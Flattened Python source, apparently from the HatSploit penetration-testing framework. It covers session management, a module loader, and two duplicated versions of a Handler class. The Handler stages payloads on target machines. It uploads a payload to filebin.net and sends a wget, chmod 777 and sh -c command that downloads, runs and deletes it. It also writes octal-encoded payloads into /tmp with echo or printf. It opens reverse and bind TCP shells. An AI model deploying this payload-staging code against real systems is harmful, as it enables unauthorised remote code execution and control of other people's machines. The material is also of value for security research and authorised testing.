def __init__(self): self.types = Types() self.badges = Badges() self.sessions = Sessions() self.payloads = Payloads() self.local_storage = LocalStorage() self.importer = Importer()
class SessionTools: sessions = Sessions() def get_session(self, session_platform, session_type, session_id): session = self.sessions.get_session(session_platform, session_type, session_id) return session
class HatSploitCommand(Command): sessions = Sessions() local_storage = LocalStorage() usage = "" usage += "sessions <option> [arguments]\n\n" usage += " -l, --list [session_platform] List all opened sessions\n" usage += " [for specified session platform].\n" usage += " -i, --interact <session_platform> <session_id> Interact with specified session.\n" usage += " -c, --close <session_platform> <session_id> Close specified session.\n" details = { 'Category': "sessions", 'Name': "sessions", 'Authors': ['Ivan Nikolsky (enty8080)'], 'Description': "Manage opened sessions.", 'Usage': usage, 'MinArgs': 1 } def run(self, argc, argv): if argv[0] in ['-l', '--list']: sessions = self.local_storage.get("sessions") if argc < 2: if sessions: for session_platform in sessions.keys(): sessions_data = list() headers = ("ID", "Type", "Host", "Port") for session_id in sessions[session_platform].keys(): session_type = sessions[session_platform][ session_id]['type'] host = sessions[session_platform][session_id][ 'host'] port = sessions[session_platform][session_id][ 'port'] sessions_data.append( (session_id, session_type, host, port)) self.print_table( "Opened Sessions (" + session_platform + ")", headers, *sessions_data) else: self.output_warning("No opened sessions available.") else: if argv[1] in sessions.keys(): session_platform = argv[1] sessions_data = list() headers = ("ID", "Type", "Host", "Port") for session_id in sessions[session_platform].keys(): session_type = sessions[session_platform][session_id][ 'type'] host = sessions[session_platform][session_id]['host'] port = sessions[session_platform][session_id]['port'] sessions_data.append( (session_id, session_type, host, port)) self.print_table( "Opened Sessions (" + session_platform + ")", headers, *sessions_data) else: self.output_error("Invalid session platform given!") elif argv[0] in ['-c', '--close']: if argc < 3: self.output_usage(self.details['Usage']) else: self.sessions.close_session(argv[1], argv[2]) elif argv[0] in ['-i', '--interact']: if argc < 3: self.output_usage(self.details['Usage']) else: self.sessions.spawn_interactive_connection(argv[1], argv[2]) else: self.output_usage(self.details['Usage'])
class Handler(TCP): sessions = Sessions() local_storage = LocalStorage() modules = Modules() badges = Badges() def listen_session(self, local_host, local_port, timeout=None, session=HatSploitSession): try: client, address = self.listen(local_host, local_port, timeout) session = session() session.open(client) return session, address except Exception: self.badges.output_error("Failed to handle session!") return None, None def connect_session(self, remote_host, remote_port, timeout=None, session=HatSploitSession): try: client = self.connect(remote_host, remote_port, timeout) session = session() session.open(client) return session except Exception: self.badges.output_error("Failed to handle session!") return None def bytes_to_octal(self, bytes_obj, extra_zero=False): byte_octals = [] for byte in bytes_obj: byte_octal = '\\0' if extra_zero else '\\' + oct(byte)[2:] byte_octals.append(byte_octal) return ''.join(byte_octals) def wget_stage(self, payload, sender, args=[], payload_args=None, delim=';', location='/tmp', encode=False, execute=True): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename wget_bin = binascii.hexlify(os.urandom(8)).decode() wget_file = binascii.hexlify(os.urandom(8)).decode() wget_container = f"https://dev.filebin.net/{wget_bin}" wget_server = f"https://dev.filebin.net/{wget_bin}/{wget_file}" wget_stream = "wget '{}' -qO {}" requests.post(wget_server.format(wget_bin, wget_file), data=payload) self.badges.output_process("Uploading payload...") if execute: self.badges.output_process("Executing payload...") command = f"{wget_stream.format(wget_server, path)} {delim} chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"" args = args if args is not None else "" else: command = wget_stream.format(wget_server, path) if encode: sender(*args, f"{command}\n".encode()) else: sender(*args, {command}) requests.delete(wget_container) def echo_stage(self, payload, sender, args=[], payload_args=None, delim=';', location='/tmp', encode=False, execute=True): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename echo_stream = "echo -n '{}' >> {}" echo_max_length = 100 size = len(payload) num_parts = int(size / echo_max_length) + 1 for i in range(0, num_parts): current = i * echo_max_length block = self.bytes_to_octal(payload[current:current + echo_max_length], extra_zero=True) command = echo_stream.format(block, path) self.badges.output_multi( f"Uploading payload... ({str(current)}/{str(size)})") if encode: sender(*args, (command + '\n').encode()) else: sender(*args, command) if execute: self.badges.output_process("Executing payload...") args = args if args is not None else "" if encode: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"\n" .encode()) else: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"" ) def printf_stage(self, payload, sender, args=[], payload_args=None, delim=';', location='/tmp', encode=False, execute=True): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename printf_stream = "printf '{}' >> {}" printf_max_length = 100 size = len(payload) num_parts = int(size / printf_max_length) + 1 for i in range(0, num_parts): current = i * printf_max_length block = self.bytes_to_octal(payload[current:current + printf_max_length]) command = printf_stream.format(block, path) self.badges.output_multi( f"Uploading payload... ({str(current)}/{str(size)})") if encode: sender(*args, (command + '\n').encode()) else: sender(*args, command) if execute: self.badges.output_process("Executing payload...") args = args if args is not None else "" if encode: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"\n" .encode()) else: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"" ) def set_session_details(self, payload, session): if not session.details['Type']: session.details['Type'] = 'custom' session.details['Platform'] = payload['Platform'] return session def handle_session(self, host, port, payload, sender=None, args=[], delim=';', location='/tmp', timeout=None, method=None, post="printf"): if payload['Payload'] is None: self.badges.output_error("Payload stage is not found!") return False encode = False if sender is not None: session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Category'].lower() == 'stager': if post.lower() == 'printf': self.printf_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) elif post.lower() == 'echo': self.echo_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) elif post.lower() == 'wget': self.wget_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) else: self.output_warning( "Invalid post method, using printf by default.") self.printf_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) elif payload['Category'].lower() == 'single': sender(*args, payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: if method is not None: encode = True if method.lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, HatSploitSession) if not new_session and not remote_host: return False if method.lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, HatSploitSession) remote_host = host if not new_session: return False if payload['Category'].lower() == 'stager': if post.lower() == 'printf': self.printf_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) elif post.lower() == 'echo': self.echo_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) elif post.lower() == 'wget': self.wget_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) else: self.output_warning( "Invalid post method, using printf by default.") self.printf_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) elif payload['Category'].lower() == 'single': new_session.send_command(payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: self.badges.output_error("Failed to execute payload stage!") return False if payload['Type'].lower() == 'one_side': self.badges.output_warning( "Payload completed but no session was created.") return True session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Type'].lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, session) remote_host = host if not new_session: return False if payload['Type'].lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, session) if not new_session and not remote_host: return False new_session = self.set_session_details(payload, new_session) session_platform = new_session.details['Platform'] session_type = new_session.details['Type'] session_id = self.sessions.add_session(session_platform, session_type, remote_host, port, new_session) self.badges.output_success("Session " + str(session_id) + " opened!") return True
class Handler(TCP): sessions = Sessions() local_storage = LocalStorage() modules = Modules() badges = Badges() def listen_session(self, local_host, local_port, timeout=None, session=HatSploitSession): try: client, address = self.listen(local_host, local_port, timeout) session = session() session.open(client) return session, address except Exception: self.badges.output_error("Failed to handle session!") return None, None def connect_session(self, remote_host, remote_port, timeout=None, session=HatSploitSession): try: client = self.connect(remote_host, remote_port, timeout) session = session() session.open(client) return session except Exception: self.badges.output_error("Failed to handle session!") return None def bytes_to_octal(self, bytes_obj): byte_octals = [] for byte in bytes_obj: byte_octal = '\\' + oct(byte)[2:] byte_octals.append(byte_octal) return ''.join(byte_octals) def echo_stage(self, payload, sender, args=[], payload_args=None, location='/tmp', encode=False): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename echo_stream = "printf '{}' >> {}" echo_max_length = 100 size = len(payload) num_parts = int(size / echo_max_length) + 1 for i in range(0, num_parts): current = i * echo_max_length block = self.bytes_to_octal(payload[current:current + echo_max_length]) command = echo_stream.format(block, path) self.badges.output_multi( f"Uploading payload... ({str(current)}/{str(size)})") if encode: sender(*args, (command + '\n').encode()) else: sender(*args, command) args = args if args is not None else "" if encode: sender( *args, f"chmod 777 {path}; sh -c '{path} {payload_args}' 2>/dev/null &\n" .encode()) else: sender( *args, f"chmod 777 {path}; sh -c '{path} {payload_args}' 2>/dev/null &" ) def set_session_details(self, payload, session): if not session.details['Type']: session.details['Type'] = 'custom' session.details['Platform'] = payload['Platform'] return session def handle_session(self, host, port, payload, sender=None, args=[], location='/tmp', timeout=None, method=None): if payload['Payload'] is None: self.badges.output_error("Payload stage is not found!") return False if sender is not None: session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Category'].lower() == 'stager': self.echo_stage(payload['Payload'], sender, args, payload['Args'], location) elif payload['Category'].lower() == 'single': sender(*args, payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: if method is not None: if method.lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, HatSploitSession) if not new_session and not remote_host: return False if method.lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, HatSploitSession) remote_host = host if not new_session: return False if payload['Category'].lower() == 'stager': self.echo_stage(payload['Payload'], new_session.send, args, payload['Args'], location, encode=True) elif payload['Category'].lower() == 'single': new_session.send_command(payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: self.badges.output_error("Failed to execute payload stage!") return False if payload['Type'].lower() == 'one_side': self.badges.output_warning( "Payload completed but no session was created.") return True session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Type'].lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, session) remote_host = host if not new_session: return False if payload['Type'].lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, session) if not new_session and not remote_host: return False new_session = self.set_session_details(payload, new_session) session_platform = new_session.details['Platform'] session_type = new_session.details['Type'] session_id = self.sessions.add_session(session_platform, session_type, remote_host, port, new_session) self.badges.output_success("Session " + str(session_id) + " opened!") return True
class Modules: def __init__(self): self.types = Types() self.badges = Badges() self.sessions = Sessions() self.payloads = Payloads() self.local_storage = LocalStorage() self.importer = Importer() def check_exist(self, name): if self.check_style(name): all_modules = self.local_storage.get("modules") if all_modules: for database in all_modules.keys(): modules = all_modules[database] category = self.get_category(name) platform = self.get_platform(name) if category in modules.keys(): if platform in modules[category].keys(): module = self.get_name(name) if module in modules[category][platform].keys(): return True return False def check_imported(self, name): imported_modules = self.local_storage.get("imported_modules") if imported_modules: if name in imported_modules.keys(): return True return False @staticmethod def check_style(name): if len(name.split('/')) >= 3: return True return False def check_current_module(self): if self.local_storage.get("current_module"): if len(self.local_storage.get("current_module")) > 0: return True return False def get_module_object(self, category, platform, name): module_full_name = self.get_full_name(category, platform, name) if self.check_exist(module_full_name): database = self.get_database(module_full_name) return self.local_storage.get( "modules")[database][category][platform][name] return None def get_current_module_object(self): if self.check_current_module(): return self.local_storage.get_array( "current_module", self.local_storage.get("current_module_number")) return None def get_current_module_platform(self): if self.check_current_module(): return self.local_storage.get_array( "current_module", self.local_storage.get( "current_module_number")).details['Platform'] return None def get_current_module_name(self): if self.check_current_module(): return self.local_storage.get_array( "current_module", self.local_storage.get( "current_module_number")).details['Module'] return None def get_database(self, name): if self.check_style(name): all_modules = self.local_storage.get("modules") if all_modules: for database in all_modules.keys(): modules = all_modules[database] category = self.get_category(name) platform = self.get_platform(name) if category in modules.keys(): if platform in modules[category].keys(): module = self.get_name(name) if module in modules[category][platform].keys(): return database return None def get_category(self, name): if self.check_style(name): return name.split('/')[0] return None def get_platform(self, name): if self.check_style(name): return name.split('/')[1] return None def get_name(self, name): if self.check_style(name): return os.path.join(*(name.split(os.path.sep)[2:])) return None @staticmethod def get_full_name(category, platform, name): return category + '/' + platform + '/' + name def compare_types(self, value_type, value): if value_type and not value_type.lower == 'all': if value_type.lower() == 'mac': if not self.types.is_mac(value): self.badges.output_error( "Invalid value, expected valid MAC!") return False if value_type.lower() == 'ip': if not self.types.is_ip(value): self.badges.output_error( "Invalid value, expected valid IP!") return False if value_type.lower() == 'ipv4': if not self.types.is_ipv4(value): self.badges.output_error( "Invalid value, expected valid IPv4!") return False if value_type.lower() == 'ipv6': if not self.types.is_ipv6(value): self.badges.output_error( "Invalid value, expected valid IPv6!") return False if value_type.lower() == 'ipv4_range': if not self.types.is_ipv4_range(value): self.badges.output_error( "Invalid value, expected valid IPv4 range!") return False if value_type.lower() == 'ipv6_range': if not self.types.is_ipv6_range(value): self.badges.output_error( "Invalid value, expected valid IPv6 range!") return False if value_type.lower() == 'port': if not self.types.is_port(value): self.badges.output_error( "Invalid value, expected valid port!") return False if value_type.lower() == 'port_range': if not self.types.is_port_range(value): self.badges.output_error( "Invalid value, expected valid port range!") return False if value_type.lower() == 'number': if not self.types.is_number(value): self.badges.output_error( "Invalid value, expected valid number!") return False if value_type.lower() == 'integer': if not self.types.is_integer(value): self.badges.output_error( "Invalid value, expected valid integer!") return False if value_type.lower() == 'float': if not self.types.is_float(value): self.badges.output_error( "Invalid value, expected valid float!") return False if value_type.lower() == 'boolean': if not self.types.is_boolean(value): self.badges.output_error( "Invalid value, expected valid boolean!") return False if value_type.lower() == 'session': module_platform = self.get_current_module_platform() if not self.sessions.check_exist(module_platform, value): return False return True def set_current_module_option(self, option, value): if self.check_current_module(): current_module = self.get_current_module_object() if not hasattr(current_module, "options") and not hasattr( current_module, "payload"): self.badges.output_warning("Module has no options.") return if hasattr(current_module, "payload") and option.lower() == "payload": if self.payloads.check_exist(value): module_name = self.get_current_module_name() platform = self.payloads.get_platform(value) architecture = self.payloads.get_architecture(value) name = self.payloads.get_name(value) payload = self.payloads.get_payload_object( platform, architecture, name) module_payload = current_module.payload valid = 0 if module_payload['Types'] is None or payload[ 'Type'] in module_payload['Types']: valid += 1 if module_payload['Categories'] is None or payload[ 'Category'] in module_payload['Categories']: valid += 1 if module_payload['Platforms'] is None or payload[ 'Platform'] in module_payload['Platforms']: valid += 1 if module_payload['Architectures'] is None or payload[ 'Architecture'] in module_payload['Architectures']: valid += 1 if valid == 4: if not self.payloads.add_payload( module_name, platform, architecture, name): self.badges.output_error( "Invalid payload, expected valid payload!") return self.badges.output_information(option + " ==> " + value) self.local_storage.set_module_payload( "current_module", self.local_storage.get("current_module_number"), value) return self.badges.output_error( "Incompatible payload type, category or platform!") return self.badges.output_error( "Invalid payload, expected valid payload!") return if hasattr(current_module, "options"): if option in current_module.options.keys(): value_type = current_module.options[option]['Type'] if self.compare_types(value_type, value): self.badges.output_information(option + " ==> " + value) self.local_storage.set_module_option( "current_module", self.local_storage.get("current_module_number"), option, value) return if hasattr(current_module, "payload"): current_payload = self.payloads.get_current_payload() if current_payload and hasattr(current_payload, "options"): if option in current_payload.options.keys(): value_type = current_payload.options[option]['Type'] if self.compare_types(value_type, value): self.badges.output_information(option + " ==> " + value) self.local_storage.set_payload_option( current_module.details['Module'], current_payload.details['Payload'], option, value) else: self.badges.output_error("Unrecognized option!") else: self.badges.output_error("Unrecognized option!") else: self.badges.output_warning("No module selected.") def import_module(self, category, platform, name): modules = self.get_module_object(category, platform, name) try: module_object = self.importer.import_module(modules['Path']) if not self.local_storage.get("imported_modules"): self.local_storage.set("imported_modules", dict()) self.local_storage.update( "imported_modules", {self.get_full_name(category, platform, name): module_object}) except Exception: return None return module_object def add_module(self, category, platform, name): modules = self.get_module_object(category, platform, name) not_installed = list() for dependence in modules['Dependencies']: if not self.importer.import_check(dependence): not_installed.append(dependence) if not not_installed: imported_modules = self.local_storage.get("imported_modules") full_name = self.get_full_name(category, platform, name) if self.check_imported(full_name): module_object = imported_modules[full_name] self.add_to_global(module_object) else: module_object = self.import_module(category, platform, name) if module_object: if hasattr(module_object, "payload"): payload_name = module_object.payload['Value'] platform = self.payloads.get_platform(payload_name) architecture = self.payloads.get_architecture( payload_name) name = self.payloads.get_name(payload_name) self.badges.output_process("Using default payload " + payload_name + "...") if self.payloads.check_exist(payload_name): if self.payloads.add_payload( full_name, platform, architecture, name): self.add_to_global(module_object) return self.badges.output_error("Invalid default payload!") return self.add_to_global(module_object) else: self.badges.output_error( "Failed to select module from database!") else: self.badges.output_error( "Module depends this dependencies which is not installed:") for dependence in not_installed: self.badges.output_empty(" * " + dependence) def add_to_global(self, module_object): if self.check_current_module(): self.local_storage.add_array("current_module", '') self.local_storage.set( "current_module_number", self.local_storage.get("current_module_number") + 1) self.local_storage.set_array( "current_module", self.local_storage.get("current_module_number"), module_object) else: self.local_storage.set("current_module", []) self.local_storage.set("current_module_number", 0) self.local_storage.add_array("current_module", '') self.local_storage.set_array( "current_module", self.local_storage.get("current_module_number"), module_object)